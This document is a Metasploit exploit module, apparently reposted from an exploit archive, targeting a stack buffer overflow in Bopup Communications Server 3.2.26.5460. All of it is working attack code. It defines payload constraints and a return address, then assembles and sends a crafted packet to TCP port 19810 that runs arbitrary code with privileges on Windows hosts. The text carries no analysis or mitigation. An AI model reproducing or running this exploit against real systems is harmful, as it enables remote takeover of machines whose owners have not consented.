Bopup Communications Server Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Bopup Communications Server Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Bopup Communications Server 3.2.26.5460.  
By sending a specially crafted packet, an attacker may be  
able to execute arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,   
'Version' => '$Revision$',  
'References' =>   
[   
[ 'OSVDB', '55275' ],  
[ 'URL', 'http://www.blabsoft.com/products/server' ],  
[ 'URL', 'http://milw0rm.com/exploits/9002' ],   
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 417,  
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",  
'StackAdjustment' => -3500,  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Bopup Communications Server 3.2.26.5460', { 'Ret' => 0x0041add2 } ],  
],  
'Privileged' => true,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 18 2009'))  
  
register_options([Opt::RPORT(19810)], self.class)  
  
end  
  
def exploit  
connect  
  
sploit = [0x00000001].pack('V')  
sploit << rand_text_alpha_upper(829 - payload.encoded.length)  
sploit << payload.encoded  
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string  
sploit << rand_text_alpha_upper(27)  
sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)  
sploit << [target.ret].pack('V')  
  
print_status("Trying target #{target.name}...")   
sock.put(sploit)  
  
handler  
disconnect  
end  
  
end  
`